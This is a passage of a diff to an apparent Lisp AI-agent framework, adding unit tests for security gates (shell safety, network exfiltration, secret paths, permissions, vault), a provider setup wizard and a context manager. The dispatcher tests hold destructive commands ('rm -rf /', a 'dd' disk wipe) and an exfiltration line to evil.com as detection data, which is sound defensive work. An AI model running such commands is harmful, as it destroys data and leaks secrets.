(return-from hitl-handle-message t))))
|
||||
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
|
||||
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
|
||||
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
||||
(token (when (> (length parts) 1) (second parts))))
|
||||
(when (and token (hitl-deny token))
|
||||
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
|
||||
(return-from hitl-handle-message t))))
|
||||
nil))
|
||||
|
||||
(defun dispatcher-gate (action context)
|
||||
"Main deterministic gate for the Bouncer skill."
|
||||
(let* ((payload (getf context :payload))
|
||||
@@ -325,3 +401,49 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
:priority 150
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'dispatcher-gate)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *permission-table* (make-hash-table :test 'equal))
|
||||
|
||||
(defun permission-set (tool-name level)
|
||||
@@ -11,3 +13,32 @@
|
||||
(defskill :passepartout-security-permissions
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-permissions-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:permissions-suite))
|
||||
|
||||
(in-package :passepartout-security-permissions-tests)
|
||||
|
||||
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||
(in-suite permissions-suite)
|
||||
|
||||
(test test-permission-round-trip
|
||||
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||
(permission-set "test-tool" :allow)
|
||||
(is (eq :allow (permission-get "test-tool")))
|
||||
;; Clean up
|
||||
(permission-set "test-tool" nil))
|
||||
|
||||
(test test-permission-default
|
||||
"Contract 2: unregistered tools default to :ask."
|
||||
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||
|
||||
(test test-permission-case-insensitive
|
||||
"Contract 3: tool names are normalized to lowercase."
|
||||
(permission-set :CapitalTool :deny)
|
||||
(is (eq :deny (permission-get :capitaltool)))
|
||||
(permission-set "CapitalTool" nil))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
(declare (ignore context))
|
||||
@@ -15,3 +17,34 @@
|
||||
:priority 500
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-policy-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:policy-suite))
|
||||
|
||||
(in-package :passepartout-security-policy-tests)
|
||||
|
||||
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
|
||||
(in-suite policy-suite)
|
||||
|
||||
(test test-policy-passes-valid-explanation
|
||||
"Contract 1: action with sufficient explanation passes through unchanged."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (equal action result))))
|
||||
|
||||
(test test-policy-rejects-short-explanation
|
||||
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-policy-rejects-missing-explanation
|
||||
"Contract 1: action without :explanation is rejected."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
(validate-communication-protocol-schema msg))
|
||||
@@ -11,3 +13,31 @@
|
||||
(progn (validator-protocol-check action) action)
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-validator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:validator-suite))
|
||||
|
||||
(in-package :passepartout-security-validator-tests)
|
||||
|
||||
(def-suite validator-suite :description "Verification of the Protocol Validator")
|
||||
(in-suite validator-suite)
|
||||
|
||||
(test test-validator-passes-valid-message
|
||||
"Contract 1: a valid message passes protocol check."
|
||||
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
|
||||
(handler-case
|
||||
(progn
|
||||
(validator-protocol-check msg)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Validator rejected a valid message: ~a" c)))))
|
||||
|
||||
(test test-validator-rejects-missing-type
|
||||
"Contract 1: a message missing :type is rejected."
|
||||
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||
(signals error
|
||||
(validator-protocol-check msg))))
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *vault-memory* (make-hash-table :test 'equal)
|
||||
"In-memory cache of sensitive credentials.")
|
||||
|
||||
@@ -31,3 +33,54 @@
|
||||
(defskill :passepartout-security-vault
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-vault-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:vault-suite))
|
||||
|
||||
(in-package :passepartout-security-vault-tests)
|
||||
|
||||
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||
(in-suite vault-suite)
|
||||
|
||||
(test test-vault-round-trip
|
||||
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||
(let ((test-key :vault-test-round-trip)
|
||||
(test-secret "secret-abc123"))
|
||||
(vault-set test-key test-secret)
|
||||
(is (string= test-secret (vault-get test-key)))
|
||||
;; Clean up
|
||||
(vault-set test-key nil)))
|
||||
|
||||
(test test-vault-missing-key
|
||||
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||
|
||||
(test test-vault-isolation
|
||||
"Contract 5: storing for provider A does not affect provider B."
|
||||
(vault-set :vault-prov-a "secret-a")
|
||||
(vault-set :vault-prov-b "secret-b")
|
||||
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||
(vault-set :vault-prov-a nil)
|
||||
(vault-set :vault-prov-b nil))
|
||||
|
||||
(test test-vault-secret-wrappers
|
||||
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||
(let ((test-provider :vault-secret-test))
|
||||
(vault-set-secret test-provider "my-token")
|
||||
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||
;; Clean up
|
||||
(vault-set-secret test-provider nil)))
|
||||
|
||||
(test test-vault-type-isolation
|
||||
"Contract 5: different :type values produce different keys."
|
||||
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||
(vault-set :vault-type-test nil :type :api-key)
|
||||
(vault-set :vault-type-test nil :type :secret))
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *archivist-last-scribe* 0
|
||||
"Universal time of the last Scribe distillation run.")
|
||||
|
||||
@@ -60,7 +64,7 @@ Returns a list of plists: (:title <str> :content <str> :tags <list>)."
|
||||
(setf in-properties nil))
|
||||
(when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed))
|
||||
(setf current-tags
|
||||
(mapcar (lambda (t) (string-trim '(#\Space) t))
|
||||
(mapcar (lambda (tag) (string-trim '(#\Space) tag))
|
||||
(uiop:split-string (string-trim '(#\Space) (subseq trimmed 6))
|
||||
:separator '(#\space #\tab)))))
|
||||
(cond
|
||||
@@ -115,23 +119,24 @@ Returns T if note was created, nil if it already exists."
|
||||
(when (uiop:file-exists-p filepath)
|
||||
(return-from archivist-create-note nil))
|
||||
(handler-case
|
||||
(uiop:with-output-file (s filepath :if-exists :nil)
|
||||
(format s "#+TITLE: ~a~%" title)
|
||||
(format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
|
||||
(format s "~%* ~a~%" title)
|
||||
(format s ":PROPERTIES:~%")
|
||||
(format s ":CREATED: ~a~%" (org-id-generate))
|
||||
(format s ":SOURCE: ~a~%" source-basename)
|
||||
(format s ":END:~%")
|
||||
(format s "~%~a~%" content)
|
||||
(format s "~%* Backlinks~%")
|
||||
(format s "- Source: [[file:~a][~a]]~%" source-basename
|
||||
(file-namestring source-filepath)))
|
||||
(log-message "ARCHIVIST: Created note ~a" (namestring filepath))
|
||||
t)
|
||||
(error (c)
|
||||
(log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
|
||||
nil)))
|
||||
(progn
|
||||
(uiop:with-output-file (s filepath :if-exists nil)
|
||||
(format s "#+TITLE: ~a~%" title)
|
||||
(format s "#+FILETAGS: :atomic:note:~:[~;~{~a~^:~}~]~%" tags tags)
|
||||
(format s "~%* ~a~%" title)
|
||||
(format s ":PROPERTIES:~%")
|
||||
(format s ":CREATED: ~a~%" (org-id-generate))
|
||||
(format s ":SOURCE: ~a~%" source-basename)
|
||||
(format s ":END:~%")
|
||||
(format s "~%~a~%" content)
|
||||
(format s "~%* Backlinks~%")
|
||||
(format s "- Source: [[file:~a][~a]]~%" source-basename
|
||||
(file-namestring source-filepath)))
|
||||
(log-message "ARCHIVIST: Created note ~a" (namestring filepath))
|
||||
t)
|
||||
(error (c)
|
||||
(log-message "ARCHIVIST: Failed to create note ~a: ~a" filepath c)
|
||||
nil))))
|
||||
|
||||
(defun archivist-gardener-scan ()
|
||||
"Scans the Memex for broken file links and orphaned memory objects.
|
||||
@@ -213,10 +218,10 @@ Returns a list of link target strings."
|
||||
(pushnew target links :test #'string=)))
|
||||
links))
|
||||
|
||||
(defun archivist-run (context)
|
||||
(defun archivist-run (action context)
|
||||
"Runs the archivist maintenance cycle. Checks Scribe and Gardener schedules
|
||||
and dispatches as needed. Called by the deterministic gate."
|
||||
(declare (ignore context))
|
||||
(declare (ignore action context))
|
||||
(let ((now (get-universal-time)))
|
||||
;; Scribe runs every 6 hours (21600 seconds)
|
||||
(when (>= (- now *archivist-last-scribe*) 21600)
|
||||
@@ -234,3 +239,41 @@ and dispatches as needed. Called by the deterministic gate."
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
|
||||
:deterministic #'archivist-run)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-system-archivist-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:archivist-suite))
|
||||
|
||||
(in-package :passepartout-system-archivist-tests)
|
||||
|
||||
(fiveam:def-suite archivist-suite :description "Verification of the Archivist skill")
|
||||
(fiveam:in-suite archivist-suite)
|
||||
|
||||
(fiveam:test test-extract-headlines
|
||||
"Contract 1: archivist-extract-headlines parses Org content."
|
||||
(let* ((content (format nil "* My Headline :tag1:tag2:~%Body text here~%* Another Headline"))
|
||||
(headlines (archivist-extract-headlines content)))
|
||||
(fiveam:is (listp headlines))
|
||||
(fiveam:is (>= (length headlines) 1))))
|
||||
|
||||
(fiveam:test test-headline-to-filename
|
||||
"Contract 2: archivist-headline-to-filename sanitizes titles."
|
||||
(let ((filename (archivist-headline-to-filename "My Project: Overview")))
|
||||
(fiveam:is (search "my_project_overview" filename :test #'char-equal))
|
||||
(fiveam:is (not (search ":" filename)))))
|
||||
|
||||
(fiveam:test test-archivist-create-note
|
||||
"Contract 3: archivist-create-note writes a Zettelkasten note to disk."
|
||||
(let* ((tmp-dir "/tmp/passepartout-archivist-test/")
|
||||
(headline (list :title "Test Note" :content "Some content" :tags '("test" "atomic"))))
|
||||
(uiop:ensure-all-directories-exist (list tmp-dir))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(fiveam:is (eq t (archivist-create-note headline tmp-dir "/tmp/source.org"))
|
||||
"Expected note creation to return T")
|
||||
(fiveam:is (uiop:file-exists-p (merge-pathnames "test_note.org" tmp-dir))
|
||||
"Expected file test_note.org to exist"))
|
||||
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
|
||||
|
||||
@@ -53,10 +53,11 @@
|
||||
(config-write config))))
|
||||
|
||||
(defun prompt (prompt-text)
|
||||
"Simple prompt that returns user input as a string."
|
||||
"Simple prompt that returns user input as a string.
|
||||
Returns nil if stdin is non-interactive."
|
||||
(format t "~a" prompt-text)
|
||||
(finish-output)
|
||||
(read-line))
|
||||
(ignore-errors (read-line)))
|
||||
|
||||
(defun prompt-yes-no (prompt-text)
|
||||
"Prompts yes/no question. Returns T for yes, nil for no."
|
||||
@@ -84,7 +85,9 @@
|
||||
("OpenRouter" . "OPENROUTER_API_KEY")
|
||||
("Groq" . "GROQ_API_KEY")
|
||||
("Gemini" . "GEMINI_API_KEY")
|
||||
("Ollama (local)" . "OLLAMA_URL")))
|
||||
("DeepSeek" . "DEEPSEEK_API_KEY")
|
||||
("NVIDIA" . "NVIDIA_API_KEY")
|
||||
("Local" . "LOCAL_BASE_URL")))
|
||||
|
||||
(defun setup-llm-providers ()
|
||||
"Interactive wizard for configuring LLM providers."
|
||||
@@ -97,30 +100,58 @@
|
||||
when (config-get key)
|
||||
collect name)))
|
||||
(when current-providers
|
||||
(format t "Current providers: ~{~a~^, ~}~%~%" current-providers))
|
||||
(format t "Currently configured: ~{~a~^, ~}~%~%" current-providers))
|
||||
|
||||
(format t "~%")
|
||||
(format t "★ OpenRouter recommended for new users — free tier, no credit card required.~%")
|
||||
(format t " Sign up at https://openrouter.ai and paste your API key below.~%")
|
||||
(format t "~%")
|
||||
(format t "Available providers:~%")
|
||||
(format t " ~20@A ~25@A ~s~%" "Provider" "Key env var" "Notes")
|
||||
(format t " ~20@A ~25@A ~s~%" "--------" "----------" "-----")
|
||||
(dolist (p *available-providers*)
|
||||
(format t " - ~a~%" (car p)))
|
||||
(let ((name (car p))
|
||||
(env-key (cdr p))
|
||||
(desc (case (car p)
|
||||
("OpenRouter" "free tier, 33+ models")
|
||||
("OpenAI" "paid, gpt-4o-mini")
|
||||
("Anthropic" "paid, Claude 3.5 Sonnet")
|
||||
("Groq" "fast inference, free tier")
|
||||
("Gemini" "free via API")
|
||||
("DeepSeek" "competitive pricing, coding")
|
||||
("NVIDIA" "NVIDIA NIM hosted models")
|
||||
("Local" "local server, no API key")
|
||||
(t ""))))
|
||||
(format t " ~20@A ~25@A ~a~%" name env-key desc)))
|
||||
(format t "~%")
|
||||
|
||||
(when (prompt-yes-no "Configure a new provider?")
|
||||
(let ((chosen (prompt-choice "Select provider:" (mapcar #'car *available-providers*))))
|
||||
(when chosen
|
||||
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
|
||||
(if (string= chosen "Ollama (local)")
|
||||
(progn
|
||||
(format t "Enter Ollama URL (e.g., http://localhost:11434): ")
|
||||
(let ((url (read-line)))
|
||||
(config-set env-key url)
|
||||
(format t "✓ Ollama configured at ~a~%" url)))
|
||||
(progn
|
||||
(format t "Enter API key for ~a: " chosen)
|
||||
(let ((key (read-line)))
|
||||
(config-set env-key key)
|
||||
(format t "✓ ~a API key saved~%" chosen)))))))))
|
||||
|
||||
(format t "~%"))
|
||||
(loop
|
||||
(when (not (prompt-yes-no "Configure a LLM provider?"))
|
||||
(return))
|
||||
(let ((chosen (prompt-choice "Select a provider:" (mapcar #'car *available-providers*))))
|
||||
(unless chosen
|
||||
(format t "Invalid choice.~%")
|
||||
(return))
|
||||
(let ((env-key (cdr (assoc chosen *available-providers* :test #'string=))))
|
||||
(cond
|
||||
((string= chosen "Local")
|
||||
(format t "Enter the server URL (e.g., http://localhost:11434 for Ollama,~%")
|
||||
(format t " or http://localhost:8080 for llama.cpp): ")
|
||||
(let ((url (read-line)))
|
||||
(if (> (length url) 0)
|
||||
(progn (config-set env-key url)
|
||||
(format t "✓ ~a configured at ~a~%" chosen url))
|
||||
(format t "Skipping ~a — no URL entered.~%" chosen))))
|
||||
(t
|
||||
(format t "Enter API key for ~a~%" chosen)
|
||||
(format t " (get one from the provider's website, paste it here): ")
|
||||
(let ((key (read-line)))
|
||||
(if (> (length key) 0)
|
||||
(progn (config-set env-key key)
|
||||
(format t "✓ ~a API key saved~%" chosen))
|
||||
(format t "Skipping ~a — no key entered.~%" chosen))))))))
|
||||
|
||||
(format t "~%")))
|
||||
|
||||
(defun setup-add-provider ()
|
||||
"Entry point for adding a single provider (called from CLI)."
|
||||
|
||||
210
lisp/system-context-manager.lisp
Normal file
210
lisp/system-context-manager.lisp
Normal file
@@ -0,0 +1,210 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *context-stack* nil
|
||||
"Stack of context plists. Each plist has :project, :base-path, :scope.
|
||||
Top of stack (car) is the current context.")
|
||||
|
||||
(defvar *context-max-depth* 10
|
||||
"Maximum context stack depth. Prevents runaway pushes.")
|
||||
|
||||
(defun current-context ()
|
||||
"Returns the current context plist, or nil if no context is set."
|
||||
(car *context-stack*))
|
||||
|
||||
(defun current-scope ()
|
||||
"Returns the current scope keyword (:memex/:session/:project).
|
||||
Returns :memex when no context is set (defaults to global scope)."
|
||||
(or (getf (current-context) :scope) :memex))
|
||||
|
||||
(defun current-project ()
|
||||
"Returns the current project name, or nil."
|
||||
(getf (current-context) :project))
|
||||
|
||||
(defun current-base-path ()
|
||||
"Returns the current base path for file resolution, or nil."
|
||||
(getf (current-context) :base-path))
|
||||
|
||||
(defun context-stack-depth ()
|
||||
"Returns the current depth of the context stack."
|
||||
(length *context-stack*))
|
||||
|
||||
(defun push-context (&key project base-path (scope :project))
|
||||
"Pushes a new context onto the stack. When focused on a project:
|
||||
- File paths resolve relative to BASE-PATH
|
||||
- Memory queries filter by SCOPE
|
||||
- :memex scope objects remain visible (always global)
|
||||
Returns the new context plist."
|
||||
(when (>= (context-stack-depth) *context-max-depth*)
|
||||
(log-message "CONTEXT: Stack depth limit reached (~d), refusing push" *context-max-depth*)
|
||||
(return-from push-context (current-context)))
|
||||
(let* ((context (list :project project
|
||||
:base-path base-path
|
||||
:scope scope)))
|
||||
(push context *context-stack*)
|
||||
(context-save)
|
||||
(log-message "CONTEXT: Pushed ~a (depth ~d)" project (context-stack-depth))
|
||||
context))
|
||||
|
||||
(defun pop-context ()
|
||||
"Pops the current context, restoring the previous one.
|
||||
Returns the restored context or nil if stack becomes empty."
|
||||
(if *context-stack*
|
||||
(let ((popped (pop *context-stack*)))
|
||||
(context-save)
|
||||
(log-message "CONTEXT: Popped ~a (depth ~d)"
|
||||
(getf popped :project) (context-stack-depth))
|
||||
(current-context))
|
||||
(progn
|
||||
(log-message "CONTEXT: Cannot pop — stack is empty")
|
||||
nil)))
|
||||
|
||||
(defmacro with-context ((&key project base-path (scope :project)) &body body)
|
||||
"Executes BODY within a scoped context, then restores the previous context.
|
||||
Example:
|
||||
(with-context (:project \"passepartout\" :base-path \"/home/user/memex/projects/passepartout\")
|
||||
(context-scoped-query :tag \"bug\"))"
|
||||
`(let ((*context-stack* (cons (list :project ,project
|
||||
:base-path ,base-path
|
||||
:scope ,scope)
|
||||
*context-stack*)))
|
||||
,@body))
|
||||
|
||||
(defun resolve-path (path)
|
||||
"Resolves a file path relative to the current context.
|
||||
If PATH is absolute, returns it unchanged.
|
||||
If PATH is relative and a base-path is set, merges them.
|
||||
Otherwise returns PATH unchanged."
|
||||
(let ((base (current-base-path)))
|
||||
(if (and base path (not (uiop:absolute-pathname-p path)))
|
||||
(namestring (merge-pathnames path (uiop:ensure-directory-pathname base)))
|
||||
path)))
|
||||
|
||||
(defun context-scoped-query (&key tag todo-state type)
|
||||
"Like context-query but filtered to the current context's scope.
|
||||
:memex-scoped objects are always visible regardless of current scope."
|
||||
(context-query :tag tag :todo-state todo-state :type type :scope (current-scope)))
|
||||
|
||||
(defun project-objects ()
|
||||
"Returns all objects scoped to the current project.
|
||||
Includes :memex-scoped objects (global knowledge) plus :project-scoped
|
||||
objects matching the current project."
|
||||
(context-scoped-query))
|
||||
|
||||
(defun focus-project (name base-path)
|
||||
"Shortcut: focus on a project by name and base path.
|
||||
Calls push-context with :scope :project."
|
||||
(push-context :project name :base-path base-path :scope :project))
|
||||
|
||||
(defun focus-session ()
|
||||
"Shortcut: enter a session context (ephemeral scope).
|
||||
Objects created in this scope are visible only during the session."
|
||||
(push-context :project "session" :scope :session))
|
||||
|
||||
(defun focus-memex ()
|
||||
"Shortcut: return to global memex scope. Equivalent to pop-context
|
||||
until stack is empty or :memex context is reached."
|
||||
(loop while (and *context-stack*
|
||||
(not (eq (getf (current-context) :scope) :memex)))
|
||||
do (pop-context)))
|
||||
|
||||
(defun unfocus ()
|
||||
"Pop the top context and return to the previous one."
|
||||
(pop-context))
|
||||
|
||||
(defvar *context-persistence-file* nil
|
||||
"Path to the context stack persistence file.")
|
||||
|
||||
(defun context-persist-file ()
|
||||
"Returns the full path to the context persistence file."
|
||||
(or *context-persistence-file*
|
||||
(setf *context-persistence-file*
|
||||
(merge-pathnames ".cache/passepartout/context.lisp"
|
||||
(user-homedir-pathname)))))
|
||||
|
||||
(defun context-save ()
|
||||
"Writes *context-stack* to the persistence file."
|
||||
(handler-case
|
||||
(let ((path (context-persist-file)))
|
||||
(ensure-directories-exist (make-pathname :directory (pathname-directory path)))
|
||||
(with-open-file (s path :direction :output :if-exists :supersede
|
||||
:if-does-not-exist :create)
|
||||
(prin1 *context-stack* s))
|
||||
(log-message "CONTEXT: Saved stack (depth ~d) to ~a"
|
||||
(length *context-stack*) path))
|
||||
(error (c)
|
||||
(log-message "CONTEXT: Failed to save: ~a" c))))
|
||||
|
||||
(defun context-load ()
|
||||
"Restores *context-stack* from the persistence file."
|
||||
(handler-case
|
||||
(let ((path (context-persist-file)))
|
||||
(when (probe-file path)
|
||||
(with-open-file (s path :direction :input)
|
||||
(let ((*read-eval* nil)
|
||||
(data (read s nil nil)))
|
||||
(when (listp data)
|
||||
(setf *context-stack* data)
|
||||
(log-message "CONTEXT: Restored stack (depth ~d) from ~a"
|
||||
(length *context-stack*) path))
|
||||
t))))
|
||||
(error (c)
|
||||
(log-message "CONTEXT: Failed to load: ~a" c)
|
||||
nil)))
|
||||
|
||||
(defskill :passepartout-system-context-manager
|
||||
:priority 90
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore action))
|
||||
(ignore-errors
|
||||
(when (> (context-stack-depth) 0)
|
||||
nil))
|
||||
nil))
|
||||
|
||||
(when (boundp '*scope-resolver*)
|
||||
(setf *scope-resolver* #'current-scope))
|
||||
|
||||
;; Restore persisted context on load
|
||||
(context-load)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-context-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:context-suite))
|
||||
|
||||
(in-package :passepartout-context-tests)
|
||||
|
||||
(fiveam:def-suite context-suite :description "Context manager verification")
|
||||
(fiveam:in-suite context-suite)
|
||||
|
||||
(fiveam:test test-push-pop-context
|
||||
"Contract 1-2: push-context and pop-context maintain stack order."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when stack-var
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(push-context :project "testapp" :base-path "/tmp" :scope :project)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
|
||||
(pop-context)
|
||||
(fiveam:is (null (symbol-value stack-var))))))
|
||||
|
||||
(fiveam:test test-context-save-load
|
||||
"Contract 3-4: context-save and context-load round-trip."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when (and stack-var pf-var)
|
||||
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
|
||||
(setf (symbol-value pf-var) tmpfile)
|
||||
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
|
||||
(context-save)
|
||||
(fiveam:is (probe-file tmpfile))
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(context-load)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
|
||||
(ignore-errors (delete-file tmpfile))))))
|
||||
@@ -1,3 +1,5 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *diagnostics-binaries* '("sbcl" "emacs" "git" "socat" "nc")
|
||||
"List of external binaries required for full system operation.")
|
||||
|
||||
@@ -170,6 +172,40 @@
|
||||
(uiop:quit 0)
|
||||
(uiop:quit 1)))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-diagnostics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:diagnostics-suite))
|
||||
|
||||
(in-package :passepartout-diagnostics-tests)
|
||||
|
||||
(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic")
|
||||
(in-suite diagnostics-suite)
|
||||
|
||||
(test test-diagnostics-dependency-fail
|
||||
"Contract 1: missing binaries cause diagnostics-dependencies-check to return nil."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
|
||||
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
|
||||
(when bin-var
|
||||
(setf (symbol-value bin-var) '("non-existent-binary-123"))
|
||||
(is (null (diagnostics-dependencies-check))))))
|
||||
|
||||
(test test-diagnostics-env-fail
|
||||
"Contract 2: diagnostics-env-check returns a boolean."
|
||||
(let ((result (diagnostics-env-check)))
|
||||
(is (or (eq t result) (eq nil result))
|
||||
"diagnostics-env-check should return T or NIL")))
|
||||
|
||||
(test test-diagnostics-dependency-success
|
||||
